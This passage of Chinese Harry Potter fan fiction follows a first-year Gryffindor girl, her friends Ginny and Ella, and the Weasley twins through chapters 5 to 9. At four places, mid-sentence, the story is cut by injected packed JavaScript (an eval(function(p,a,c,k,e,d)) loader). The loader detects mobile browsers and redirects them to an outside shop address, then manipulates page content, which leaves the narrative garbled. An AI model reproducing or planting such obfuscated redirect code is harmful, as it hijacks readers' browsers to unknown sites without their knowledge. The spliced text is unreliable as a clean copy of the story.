人群爆发出失望的嘘声,金妮已经追上了阿比盖尔,快要够到他手上的黄金烟斗了。麦格教授的一嗓子让两个人都抖了一下,以俯冲的姿势迅速地落到地面上,金妮简直藏不住她焦急的样子,阿比盖尔的表情却有些怪异。 “麦格教授——你听我说,这都是阿比盖尔他——”金妮试图先发制人,但麦格教授显然已经听不进去任何人的解释了,当即宣布了格兰芬多和斯莱特林各扣五十分,同时他们需要被罚禁闭,时间待定——也许是考虑到万圣节将近。 “这一点也不公平!”等麦格教授走后,金妮失去理智地大叫起来,“为什么哈利也做了这种事就成了有史以来最年轻的魁地奇球员!而我却被罚了禁闭,还是跟那个斯莱特林一起!” “不是人人都是哈利·波特。”芙罗拉徒劳地安慰着,“但我相信你拥有不输于波特的魁地奇天赋。你知道的,我从不说谎。” 金妮高兴不起来,脸上阴云密布,有那么一个瞬间芙罗拉认为甚至超过了斯内普教授。“不公平。”金妮重复着,“这一点都不公平。” 埃拉吓傻了一样说不出话,芙罗拉发现在场只有她一个人至少还能用脑子进行思考,她看看金妮,再看看埃拉,讽刺地意识到她不详的预感从来没有脱离现实。她早就说过了,飞行课肯定是场灾难。 与金妮算得上毫发无伤的情况看,那个斯莱特林的情况不太好,出乎所有人意料,他一下扫帚就吃痛地扶住了腰的位置,并且可疑地一瘸一拐走上前,摆出一副可怜的神情,一群人围上去嘘寒问暖,只有一个淡金长发的斯莱特林女生没有上前。芙罗拉粗粗地看了一眼,霍琦夫人推开人群,叫道。 “梅林啊——把他送去医务室!” 5. 第 5 章 金妮的禁闭时间被放在了万圣节后。飞行课后,她简直像个飘到空中的气球,到了一个特定点就“砰”地爆炸,整个人闷闷不乐的,每天都要在那本她称之为日记的本子上写写画画。但更为不幸的是,她马上收到了来到霍格沃滋的第一封吼叫信,芙罗拉认为韦斯莱夫人的语气还是很温和的,相比较于她的哥哥罗恩收到的吼叫信而言。当时金妮还倍感丢脸地远离了她的哥哥,谁知道现在这耻辱就降临到了她的身上。 埃拉最近倒是神出鬼没,不知道在忙活什么。芙罗拉一边关注着她这实在称不上好开端的学校生活,一边还要担心她自己家庭里的事,难免感觉有些吃力,不过唯一还不错的是她丝毫不担心她的学业。毕竟飞行课并不要求成绩,怎么想其他科目她都不可能得到a以下的成绩,但及格倒也不是她追求的目标,至少她想在魔药学、魔咒学和草药学拿到o,其他的就无所谓了。 来到西塔的猫头鹰棚,她意外地看见了哈利·波特和那个开学带他们游过黑湖的、显然具有巨人血统的男人正在交谈,她无意打扰他们,但那个应该叫做海格的男人庞大的身躯挡住了进入棚屋的道路,芙罗拉不得不无奈地出声,“先生们,不介意的话,能让个路吗?” 海格明显被这突然的声音吓住了,他猛的转过头,瞪大的眼睛配上他小山一样的身躯不免有点吓人,他瞄了一眼芙罗拉的红色领子的巫师袍——看上去完全是下意识的举动,默默地往后退了一步。 “谢谢。”芙罗拉微微屈着身体说,往棚里深入,她不经意地扫了一眼波特,波特冲她不好意思地笑笑,额头上那个闪电疤痕因为他歪曲的刘海嚣张的露了出来,芙罗拉突然一顿,绝对没经过大脑思考的话莫名说了出来,“你好,波特,我知道你。” 波特似乎是感到莫名其妙,困惑地眨了眨眼,但随后他就友好地微笑起来,可能是想到自己在巫师届的名气。海格在一旁好奇地打量着芙罗拉和波特。 “你好,额,请问你是······”哈利卡住了。 “一个不重要的一年级生。”芙罗拉指了指波特额头上的疤痕,“听起来可能很冒昧,我在此请求你的原谅。但是这个疤,你有尝试过治疗它吗?” “噢。”哈利的手抚上那道疤,“我没试过,这怎么了吗?” “伤口往往刻骨铭心。”芙罗拉说,“可以让我试试帮你治疗这个疤吗?我对于这类治疗咒语还挺擅长的。” 波特看起来不解极了,但他听出来了芙罗拉话里的好意,那双澄澈的就像从湖里打捞出来的绿眼睛弯起月牙的弧度,波特说,“谢谢你,但我不需要。” “是吗?”芙罗拉点头,“那么,打扰了。” “你不问我为什么吗?” “就像我说的,”芙罗拉盯着哈利的眼睛,脸上缓缓盛开出一个笑容,她相信任何人都没法从这笑容中看出什么,“伤口往往刻骨铭心。人总是想透过一些的伤口来回忆过去。谢谢你,波特,陪我浪费了这么多时间。” 波特挠了挠头,看着芙罗拉远去的背影有些愣怔,海格热情地拍了拍他的肩,“真是个怪女孩,不过一个格兰芬多总不会坏到哪去的,哈利,哈利?你有听我说话吗?” “我在听,海格。但是你的嗓门太大了,海德薇都快被你吓跑了。”哈利若无其事地转身,笑着说。 猫头鹰棚不大,芙罗拉很快就找上了她自己的猫头鹰。 “罗宾,不是我的错觉,才来到这里几天,你真的重了不少。” 芙罗拉头上那只叫“罗宾”的猫头鹰啄了啄她的头发。芙罗拉短促的叫了一声,难得委屈地说,“我只是在说这里的伙食挺不错的。” 罗宾叫了两声,展开灰棕色的翅膀飞回到笼子上,一点也不见刚刚见到芙罗拉兴奋地拍打翅膀的样子。 “这些日子有点忙,没什么时间来看你。”芙罗拉叹了口气,“很抱歉,一来见你就让你帮我送信。” 她从巫师袍的口袋里拿出一封信系在罗宾腿上,“如果在家没看见爸爸,就去破斧酒吧看看,他也就这几个地方可以去了。去吧,好姑娘,我保证等你回来我会经常来看你的。” 罗宾像是得到了一个满意的答案,抖着翅膀一瞬间就飞扬在空中,过了几分钟,芙罗拉已经看不见罗宾的身影了。 但往高处看去,她却看到了一个意外的身影。 金妮站在霍格沃滋的走廊上,隔着窗户与她正好对视,她的脸苍白而了无生机,即使隔着这么远的距离也一目了然,她浅色的褐色眼睛闪动着恐惧的色彩,但从那躲闪的眼神中仔细查找又能找到某种还未褪尽的希望。芙罗拉看到金妮张了口,凭嘴唇的动作推测她正在喊她的名字。 “芙罗拉,你刚刚是在和哈利说话吗?”金妮似乎在说。 没有撒谎的必要,想到金妮不一定看得懂芙罗拉在说什么,芙罗拉毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201263|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不犹豫地点了点头。 那种希望仍然存在于金妮的眼底,但越来越黯淡了。嘴角勾起一个勉强的弧度,她冲芙罗拉胡乱点了个头,就移开了视线,芙罗拉再也别想透过透明的窗户看到金妮的脸了。 从猫头鹰棚赶去上魔药课的距离绝对不短,芙罗拉小跑着,气喘吁吁地掐着点准时到达了魔药课教室,但就算是没迟到也不能阻止西弗勒斯·斯内普想要得到这届学院杯的强烈欲望,他眯着眼睛,用那种最容易惹人厌恶的声音说,“瞧瞧,这不是我们的霍普小姐吗?如果你好好听过我第一节课说的话,就知道我要求你们比上课时间要早来五分钟到魔药课教室。” 全班都转头看向芙罗拉,无措爬上了她的脸,她抿着唇,尽量平静地说,“教授,我想您的原话是‘但凡你们能早来五分钟到教室,或许会显得比懒惰成性的巨怪更灵活些’。” “反驳你的教授,”斯内普说,两只黑眼睛亮得出奇,“看来我不得不为格兰芬多扣上两分了——” “但是教授!”有人打断了他,大声说,“霍普没有说错,你知道她没有迟到!” 学生们安静的出奇,为这种不安的沉默瑟瑟发抖,斯内普面无表情,从鼻子里哼出气,他油腻腻的头发和漆黑的袍子随着他的转身扬起残酷的弧度,芙罗拉看着他走着缓慢却十足具有压迫感的步伐朝胆敢出声的学生走去,那个学生还一脸无畏,尽管她脸上呈现出血色褪尽的苍白。 “好吧,好吧,格兰芬多的学生——嗯哼?”斯内普用讨好似的语气说,“韦斯莱小姐——”他的声音可疑地顿了顿,“希望下课来一趟我的办公室不会劳累了你的腿脚——有点自知之明的话,你应该想到有一个斯莱特林已经因为你的莽撞在医务室呆了足足两天,而你甚至没有一句道歉。让我想想,我该扣格兰芬多多少分合适呢?” “斯内普教授,我很抱歉我的迟到给您带来了困扰。”芙罗拉及时插话,“我真的很抱歉,希望不会打扰到这节课的进度。” 像是感到非常有趣一样,斯内普眼底浮现出显而易见的愉悦,“鉴于麦格教授已经做出了决定,我无法过多的干涉这件事。不过,韦斯莱小姐,格兰芬多将会为你不敬的言语失去五分,以及,下课后不要忘记来我的办公室。” 他转身对芙罗拉说,“霍普小姐,找个位置入座吧。翻到书上第十四页,今天的内容是——” 金妮脸上惨白如纸。 6. 第 6 章 一节魔药课下来,芙罗拉用尽了力气把注意力放在课本上面,她成功了。她不仅习惯暗示自己,同时也精于此道,没什么能让她分心。只是,一抹忧愁萦绕在她心里的角落,现在该翻到下一页了,她的目光仍然停留在十四页。这让她认为天衣无缝的认真或许变成了一场并不好笑的笑话。 斯内普讽刺的声音还在继续,似乎他人生存在的全部意义都是为了嘲讽所有他不在乎的人。芙罗拉盯着课本,她知道这节课讲什么,没什么她不理解的,因为她从很小时候就决心要成为一名圣芒戈的治疗医师,所以她不断地汲取知识,尤其是这类能帮助她的知识。她不在乎斯内普的刁难,甚至在这种刁难真的到来时不可避免地松了一口气。总要到来的不是吗,所有格兰芬多他都一视同仁的厌恶,不管他有什么多么挑不出这个人的错误——不是说芙罗拉是个完美的人,她没这么自恋,仅仅是因为她是个格兰芬多而已。 霍格沃滋的下课铃声响起,芙罗拉立刻看向金妮的方向,她没有跟一直以来都在魔药课做同桌的金妮坐在一起,金妮身边坐满了人。而一下课,金妮就站起来,她起得太猛,椅背撞到了后面人的桌子,那个人不满的嘟囔着,但什么也没说,金妮的脸上除了让人心疼的苍白,还有种瘆人的气势,芙罗拉从没在金妮脸上看到过这种表情,她感到好奇的同时,那种烦躁的不安卷土重来。 “金妮!”她叫住了她,金妮无视了她眼里的请求,就好像她从来都不在乎芙罗拉一样飞快地离开了这里。芙罗拉的叫声此时充满了可怜,因为教室里诡异的安静,她突兀的出声赢得了所有人的注目,除了金妮。 埃拉试图不引人注目地小跑过来,拉住了芙罗拉的袖子,她是坐在金妮身边的人之一,“我的上帝啊,你看到斯内普的眼神了吗,金妮会被他生吃活剥的。” “……” 芙罗拉忍了一会,最后说,“我们一定要在这里聊天吗?”她示意着环顾四周,所有人都在看着她们。 “……” “……这比斯内普要吓人多了。”埃拉拍着胸口,跟着芙罗拉一起站在教室门口,幸好今天所有的课程都结束了,再没有迟到的风险。 她显然是心有余辜,“还好不是跟斯莱特林一起上这节课,赫奇帕奇友好多了——” “这只是让斯内普教授扣分的范围扩大了而已。以及埃拉,我想现在没有一个斯内普教授让你能害怕得一直抓着我的手?”芙罗拉皱着眉,叹了一口气。 “啊!我没注意到这点,刚刚真的很吓人,我是说我从没被这么多人看着……挺不习惯的。当然斯内普也很吓人。”埃拉飞快地放了手,神情紧张,这时她像是突然想起了什么似的,从口袋里翻翻找找,掏出一封信来。 “其实……”埃拉把这封信递给芙罗拉,“金妮让我给你这个。”她小心翼翼地补充了一句,“你们看起来不太对劲,难道是吵架了?” “没有。”芙罗拉说,面无表情。她攥紧这封外表材质非常廉价的信,“回格兰芬多塔楼吧。” 埃拉看起来相当惊讶,“你不等金妮吗?” 芙罗拉摇头,举着信说,“她现在应该不想见到我——大概一天之后,她就会主动找我说话了。” “哦。”埃拉看了一眼芙罗拉,一副“我不懂”的样子。 “这就是巫师世界吵架的方式吗?还怪文雅的。” “不。”芙罗拉说,“我们没有吵架。只是进入了冷静期。” 埃拉耸着肩,脸上摆着明晃晃的不认同,“嘿,朋友,我只听过离婚才有冷静期这种说法。” “那么恭喜你,”芙罗拉说,“现在知道友谊也有冷静期这种说法了。” * 埃拉没有跟芙罗拉一起回格兰芬多塔楼——她最近相当神秘,不过芙罗拉不打算探究这点。冲胖妇人说了进门口令后,她坐在格兰芬多寝室的窗边,双手拿着信封,十分有仪式感地撕开了金妮的信。 “亲爱的霍普,(芙罗拉发现霍普前面是一个被划掉的芙罗拉,她猜测这是金妮故意想让她发现的) 对不起。 这段日子我总是控制不住自己的脾气,就好像我的身体根本不由我支配一样。我很害怕。(这句话同样被她划掉了)我并不害怕。但我恐怕这会伤害到你。 …… 好吧好吧,就是说,我们现在进入冷静期啦!等一切过去,事情会变回原样的。以及,我看到你和哈利说话了,一开始我真的超级生气,不是说哈利跟你说话这件事,好吧,其实跟这件事也有关系。 等等——是谁先跟谁搭的话? 天呐,不管是谁先来的口,都一样让我生气,而我甚至不知道该为谁生气。 至于斯内普,梅林的胡子,我敢打赌霍格沃滋的投诉信里十封有是十一封都是寄给他的。如果我是邓布利多,肯定第一个解雇这个老蝙蝠。 希望,但也不希望你开心的。 金妮·韦斯莱” 芙罗拉从第一个字看起,短短的信件被她翻来覆去看了好几遍。然后她的视线从信上移开,转而盯着摆在她桌上的一面镜子。 这时她注视着镜子,长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201264|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久地,缓慢地,凝视着镜子里的脸,直到她发现自己开始不熟悉这张脸,直到她开始忘记这张脸。 灰色的,散发着死气的眼睛,乌黑笔直的头发落在肩膀。她几乎要以为自己真的喜欢看着镜子里的这张脸了。 但是没有,她从自己这张脸上,看到了另一张脸。 “我不喜欢你,你应该消失。” 她看到那张脸上以极慢的速度拉扯出一个扭曲的笑容,深到耳边,像一个不见底的黑洞,又或是血与泪混合的味道。 然后她不再看镜子了,她说。 “Nox.” 灯熄灭了,芙罗拉躺在床上,突然想起了埃拉的生日礼物,她很快适应了黑暗,用魔杖将CD放入了一个老式的留声机中。 迈克尔性感的声音在格兰芬多塔楼吟唱着,芙罗拉安静地听着。 “Asummerdisregard,abrokenbottletop, 夏天的漠视,一个破瓶盖, andaonemansoul. 和一个人的灵魂, Theyfolloweachotheronthewindya''know, 风知道他们互相跟随, ''causetheygotnowheretogo. 因为他们无处可去, That''swhyiwantyoutoknow. 那正是我想让你知道的, I''mstartingwiththemaninthemirror. 我要从镜中之人开始做起, I''maskinghimtochangehisways, 我要求他改变他的做法, andnomessagecouldhavebeenanyclearer. 没有任何消息可以清楚, Ifyouwannamaketheworldabetterplace, 如果你想让世界变得更美好, takealookatyourself,andthenmakeachange. 看看自己,然后做出改变。” 埃拉说不定是个预言家。芙罗拉想,仅仅用了一秒钟,她就爱上了这个礼物。 接着,不知道过了多久,门被打开了。打开门的人矗立在门口,然后音乐停止了,那个人终于走了进来。 金妮久久地站在芙罗拉的床边,恍惚地看着她。 7. 第 7 章 “其实没什么。”金妮说,“就处理了一些魔药材料——特别恶心的那种。” 埃拉嫌恶地呕了一声,“你是说鼻涕虫那类的?饶了我吧,想想我都要吐了。” 芙罗拉从教材里抬头,“我也不喜欢那种生物,不过仔细处理至少不会导致炸坩埚那种情况的发生。”她停了一下,意有所指,“我听说那个斯莱特林最近很倒霉?” “是呀。”埃拉懒洋洋地搭嘴说,“听说他在做痔疮药水时打了个喷嚏,然后坩埚就炸了。斯内普气得半死——有什么用,反正斯莱特林不会被扣分的。” 她揣测了一下斯内普的语气,端着嗓子说,“‘那么,为什么不是由你来告诉阿比盖尔先生做魔药时不要打喷嚏呢’。”她耸着肩,翻着白眼,一副耿耿于怀的样子。 “开学的事你还记到现在呢。”金妮心不在焉地拿出了羽毛笔和羊皮卷轴,然后说,“斯内普一直那样。话说,霍普你的魔法史作业写完了吗?” “虽然我很想说没有。”芙罗拉叹着气,“提醒你们一下,尽管我在你们面前看起来成绩很好的样子,我的魔法史也很糟糕。重点是,如果你们真的要‘借鉴’一下的话,我希望重合度不要太高。” 金妮看了芙罗拉一眼,“我还没说要你作业呢。” “等等,你们这是……和好了?”埃拉大惊小怪地叫着。“什么时候啊?一天都不到,怎么突然像什么都没发生一样。亏我还那么担心!” “你半夜多才回来。我们之间要是真发生什么你也不知道。”金妮顺手接过芙罗拉递过来的论文,挑起一边眉,“你干什么去了?” “要是被费尔奇抓到了,”芙罗拉手撑着半边脸颊,翻过一页魔药教材,“你就要跟韦斯莱一起去关禁闭了。” “你们大晚上都不睡觉的啊……”埃拉抽搐着嘴角,“还有,虽然你们感觉像是和好了,但怎么还用姓氏称呼彼此啊。喂——我也要抄!” 金妮低着头说,“我还剩几寸就写完了。等着吧。” 埃拉撇着嘴,不太高兴地说,“宾斯教授的课只适合睡觉。而且我之前一直在麻瓜世界生活,怎么可能对魔法史了如指掌啊。” 芙罗拉赞同地点点头,语气充满暗示,“明天第一节课就是魔法史——” 埃拉哀嚎了一声。 “所以记得快点写完论文。” 芙罗拉觉得自己的声音听上去有点不合时宜的愉悦。但同时,她又偷看着金妮平静的神情,犬齿咬上舌头,一股刺痛感刺激着她的大脑。她想起了昨晚的金妮。 “你知道我没睡,对吗?” 黑暗中,芙罗拉冷不丁地说。 “……”金妮的声音听上去无奈极了,“现在我知道了。” “我不知道。”芙罗拉躺在床上,脑中描摹着金妮此刻的表情——是什么样的?愤怒、还是不在乎。 她真的不知道。 “我不知道你为什么生气?这是第一次,我甚至不知道原因。” 沉默。 “你为什么要站在这里看着我?” “你在看我吗?” “……为什么不说话呢?” 又是沉默。 然后。 “睡吧。”金妮开了口,芙罗拉艰难地发觉她竟然不能分辨出这句话里的情感。平淡,太平淡了。这不对劲。 “——埃拉还没回来。”芙罗拉嗫嚅着嘴唇,唇齿间挤出话来。 “你担心她?” “……你不担心吗?” 芙罗拉似乎听到了一声极轻的笑声。那不像是——不像是——不像是什么呢? 金妮的声音在继续。 “也许吧。”金妮说,“但是她总会回来的。霍格沃滋是最安全的地方……不是吗?毕竟,不是有邓布利多吗?” “金妮?” “我在。” “你到底为什么生气?” “这个啊——” 金妮停顿了几秒,用一种古怪的笑声回答说。 “因为看重的东西要被抢走了啊。” 魔法史课结束后,埃拉脸上呈现出一种劫后余生的惨烈,金妮在课上大睡特睡。尽管说宾斯教授的年龄要有一个霍格沃滋那么长,但他的眼力却诡异的好。课上,他无数次见缝插针地用阴阳怪气地言语谴责那些睡觉的学生,不过没人听他的。因为那些他打算责怪的学生正睡得酣甜呢。 “要一起去礼堂吃饭吗,芙罗拉?”埃拉气息虚弱,“我感觉我最近胖了。” 金妮睡眼朦胧。“我同意。罗恩就说我胖了,然后我踩了他一脚。赫敏说他活该,哈利——哈利不在现场。梅林,要是罗恩跟哈利说我坏话——” “你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201265|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要不要去礼堂?”芙罗拉敲了一下两个人的脑袋,冷声说。 两人几乎同时痛呼出声,然后相视一笑,各拉了芙罗拉一只手臂,芙罗拉惊讶地叫了一声,下一秒就跌到了两个人的怀里,金妮和埃拉的手摸上了芙罗拉的脑袋,她很快生无可恋地开始整理起自己的头发。 “还要不要去礼堂了?”她无奈地说。 “去!怎么不去!”金妮攀住她的肩,埃拉怪叫着拿上自己和金妮的课本,“要胖就一起胖!” “……谁在意这个啊。”芙罗拉无语了。 另外两个人异口同声地大声反驳,说芙罗拉自己太瘦才一点都不在乎,她们一定要争取用美味的食物帮芙罗拉变得更加健康一点。 “胖的时候可别哭哦!”金妮扮着鬼脸说,埃拉附和着一起。 芙罗拉笑了,气得。 不过她们最后还是没能一起去成礼堂,因为韦斯莱双胞胎半路把芙罗拉劫走了,留下金妮在去礼堂的路上一直翻着白眼抱怨她两个哥哥——感谢埃拉声情并茂的讲述。 韦斯莱双胞胎把她拉到一个没什么人的转角。 “如果不是了解你们两个,”芙罗拉面无表情地说,“这真的很像你们要对我做一些坏事。” “换种说法,”双胞胎其中一位说,“我们可以一起去做‘怪事’。不是吗,我们的好搭档?” 另一位淘气地眨着眼睛,“还有,我们送你的那个小玩意好用吗?” “我还没开始用。”芙罗拉说,若有所思,“不过我想不久就会用上了。” “择日不如今日啊。”两人同时说,激动得手舞足蹈。 “今晚八点,胖妇人左边的那个拐角见!” “我想,我还没同意?”芙罗拉举起一只手,犹豫着说。 “……” 看着双胞胎一脸“是哦”的恍然大悟的表情,芙罗拉叹了一口气。 “不过你们从来也没问过我就是了。”芙罗拉脸上缓缓拉出一个笑容。“今晚八点,不要迟到。” 双胞胎先是瞪大眼睛,然后疯狂地大笑着。 “这是我们的台词!” “不过我们也可以换种说法。” 他们对视一眼,极其默契地对芙罗拉说。 “今晚八点,不见不散!” 今晚八点,不见不散。 8. 第 8 章 韦斯莱双胞胎身上有一种永远生在夏天的活力,这种活力有时让芙罗拉觉得自己仿佛回到了1989年的暑假,那年弗雷德和乔治开始了他们在霍格沃滋的第一个学年,并且对自己分到了格兰芬多这件事引以为傲。 “我就说她会来的。”其中一个说,另一个附和道,“我可没说她不会来。” 没有理会背后胖夫人生气的叫嚷,芙罗拉眨眨眼睛,从口袋里拿出金框眼镜,然后轻轻一甩,眼镜翼划出一个月牙的弧度,她戴了上去。 “怎么样?” “还不错。”芙罗拉以一个极慢的速度转着头,环顾四周,她的灰眼睛半眯起来,看上去像是某些躲在草丛窥视猎物的捕猎者。 比如说,蛇。 芙罗拉为这个想法下意识皱眉,双胞胎明显是注意到了这点,声音中带点紧张,“有什么问题吗?你看到了什么?” “脚印。”芙罗拉平静地说。 “啊哈。是我和弗雷德的脚印。”双胞胎惊喜地互相击掌,然后对着芙罗拉解释说,“我们事先在身上撒了飞磷粉。” “只要撒上一点点,”乔治说,比了个一点点的手势,“再带上眼镜,无论到天涯海角眼镜都能指引方向。” “飞磷粉?”芙罗拉歪着头,手扶着眼镜,“《魔法粉尘》上说这是一种能持续一天的隐形粉。甚至自身都是隐形的。” 双胞胎看上去很骄傲。“没错,一个小魔法——然后就出现了这副眼镜。” 他们从口袋里扒拉了几下,然后往空中一撒,口中一字一句。 “——无影无踪。” 芙罗拉这时拿下了眼镜,惊讶地发现双胞胎的身体从上到下迅速与空气融为一体,突然,芙罗拉感受到有人握住了她的手,拿走了眼镜同时把它架在她的鼻梁上,属于双胞胎恶作剧般淘气的声音炸开在她耳边,却并不让人厌烦,反倒是像节日的烟花一样,猝不及防但令人愉悦。 “我们把这称为‘追踪眼镜’,非常形象,不是吗?” 芙罗拉透过眼睛看见了两个人的身影,非常清晰,甚至连他们脸上透露着孩子气的笑容也一清二楚。 “我没想到你们真的能成功。那些实验……我以为你们已经放弃了。”芙罗拉忍不住说,“飞磷粉——这种材料可不常见。” “你永远都不知道霍格沃滋能翻到多少好东西。”乔治用手肘推着弗雷德的腰窝,弗雷德嬉笑着说,“永远别小看韦斯莱。顺带一提,这东西是在奖品陈列室找到的,我们经常去那。” “好吧。”芙罗拉想,或许不能小看的是韦斯莱双胞胎热爱恶作剧的心。 “那么你们今天想做什么呢?在睡觉时间探索校园?还是真的去禁林?” 弗雷德高深莫测地昂着头,食指伸出摆了摆,乔治兴致勃勃地说:“嘿!这可是晚上,想想晚上应该做的事!” “……晚上应该做的事?”芙罗拉一言难尽地望向双胞胎。他们肯定看懂了她的表情。 “你在想什么?”乔治笑容满面地说,“这个点小狮子要出去觅食啦。” “你难道不好奇霍格沃滋的厨房在哪吗?”弗雷德接着说。 “不是在赫奇帕奇公共休息室旁边吗?”芙罗拉说,然后顿了一下,意识到了不对。 “你怎么知道?!”双胞胎看起来激动极了,像个被逗弄的狮子一样张牙舞爪。 “应该是有人提过一嘴吧。”芙罗拉不在乎地摆手,“你们知道赫奇帕奇的寝室在哪?” “霍格沃滋对我们敞开秘密。”双胞胎互攀着肩,以一种令人惊讶的自信笑着说。 “好吧。”芙罗拉说,“老样子?” “老样子。”双胞胎齐声说。 芙罗拉掏出魔杖。 “我在此庄严宣誓,作为恶作剧联盟的成员,我将永不放弃、永不背叛、永不后悔。” 魔杖发出银色的光,随后弗雷德和乔治也一同喊道。 “我庄严宣誓——” 这是一个叫做“银色契约”的古老魔法,虽然说具有一定意义上的束缚作用,但传到现在的魔法效力却几近于无。可以说只能算是一个口头誓约,却神奇地被他们当作是真正的“牢不可破誓言”那样遵守。芙罗拉一开始对于自己稀里糊涂加入了这个听起来就很幼稚的恶作剧联盟是反感的,毕竟这完全是双胞胎的自作主张,后来也就渐渐习惯,甚至于有些庆幸了。 他们像夜晚潜藏在霍格沃滋的皮皮鬼一样猫着腰,躲避着菲尔奇和他的洛莉丝夫人,在双胞胎的带领下一路畅通无阻地来到了据说是赫奇帕奇的公共休息室这里。 “当然,费尔奇的单调比珀西的古板还要更上一层。”弗雷德小声嘲笑着费尔奇,顺带调笑了一下他的级长哥哥,“这是一条绝对安全的路,除了皮皮鬼和没头尼克有时候会来这——完全是小概率事件。嘿,我闻到了一股烤肉的香味,不是我的错觉吧。” 芙罗拉动了动鼻子,肯定地点头。 不过这么晚了,厨房竟然还在工作吗,可真辛苦呢。邓布利多也会为学校有一群勤劳的员工而倍感欣慰吧。 除了——厨房里传来一阵不和谐的声响。双胞胎迅速收敛了气息,连带着芙罗拉也受惊般抖了抖身子。 “有谁在厨房?”他们三个人面面相觑。 “赫奇帕奇们?” “赫奇帕奇向来是群乖孩子。”乔治说,“看看斯特劳普教授。” “男孩们,”芙罗拉说,做了个安静的手势,“收收你们那股格兰芬多味。” 双胞胎安静下来,三人缓步靠近厨房,那声响越来越清晰地传入他们耳中。 “事情再这样发展下去,你一定会被教授发现的。”那人压低了声音,听上去不太真切,他又继续说了些什么,但似乎更小心翼翼了,完全是在耳边低语。 “……我不知道……”另一个人说话了,同样小声。 “……拿走……我必须……” “……这太冒险了……为什么不……” “……你不明白,这对我无比重要。” 接着,一段沉默。芙罗拉和韦斯莱彼此对视一眼,眼神进行交流。 看起来韦斯莱们很想去一探究竟,芙罗拉对此持保留意见,她毕竟不是好奇心旺盛的人,对于这种隐秘的谈话一向是敬而远之,正当双方僵持不下之际,谁也没能注意到走近的脚步声。 “谁在那儿?!” 是赫奇帕奇的级长。他警惕地左顾右盼,用不肯放过任何动静的眼神环顾四周,芙罗拉听到双胞胎其中一位不满地咋舌,然后往空中撒了一把飞磷粉,三人迅速地往那位赫奇帕奇级长的后面躲着,芙罗拉相信这两位在学业上必然是不会带着如此极致的专注力。 完全是碾压式的躲猫猫。那位级长根本不可能发现隐形了的他们,于是摆出了一副郁闷的脸蛋,拖着步伐慢慢向城堡深处的走廊继续巡逻。 芙罗拉心里长舒了一口气,双胞胎拉着她的胳膊向厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“诶——”乔治啃完最后一口鸡腿,擦了擦手,“金妮的反应可有意思了。” 他站起来,弗雷德比他后一步站起来,他们伸出手,“走吧,带你回格兰芬多的地盘。” 芙罗拉站起来,接受了他们的伸手。 安然无恙地走到了格兰芬多女寝门口,双胞胎冲她挥手,芙罗拉点点头,穿过公共休息室,转身推开门回到她的寝室,里面熄了灯,芙罗拉凭着记忆找到了自己的床,正要施个”清理一新“时,门竟然又一次被推开了。 这可有些吓人,难道她们的寝室晚上都不睡觉吗。适应了黑暗的双眼被突如其来的光亮刺得流下了生理性眼泪,芙罗拉向后看去,发现推开门的埃拉竟然也惊讶地看着她,无所适从的样子显得十分窘迫。她甚至揉了揉眼睛,发现这不是幻觉后更加震惊了。 这不应该是件值得让人惊讶的事,芙罗拉只是偶尔干些比较出格的事——比如不是那么早的爬上自己的床,埃拉为什么看起来像是她跟神秘人干了一仗那样吃惊,她甚至没有资格摆出这副姿态——想想吧,是谁天天晚回宿舍一幅神秘的样子? 芙罗拉手抚上太阳穴,做了个“睡吧”的口型,埃拉应该是看懂了,她纠结的神情就是盲巫师也能感受到,幸运地是,最后她选择了乖乖地走到自己床边,芙罗拉松了一口气。 挥舞魔杖,终于施出了“清理一新”,芙罗拉心满意足,放松下来的同时,她的眉头却不自觉地皱起。 鼻尖传来一股烤肉的味道。 9. 第 9 章 万圣节的来临比芙罗拉想得还要来得快,尽管不愿意承认,芙罗拉也得说看见霍格沃滋的幽灵们围在一起跳舞的感觉并不坏。事实上,没什么节日能真的让芙罗拉感到糟糕透顶——除了圣诞节。难道还会有什么节日比圣诞节更加容易让人感到痛苦吗? 想到万圣节一过,数着指头就能等到圣诞节的日子,芙罗拉不是很高兴地摸上脖子。值得一提的是,最近她时常觉得寝室里充满了古怪的氛围,活像是有隐藏的第四个人出现在了她们之间。 秘密。芙罗拉左手向上,掐住自己的下巴,垂眸做出思考的样子。这让她们所有人都变得神秘起来,神秘代表了无声的距离,距离又悄悄疏远了关系。 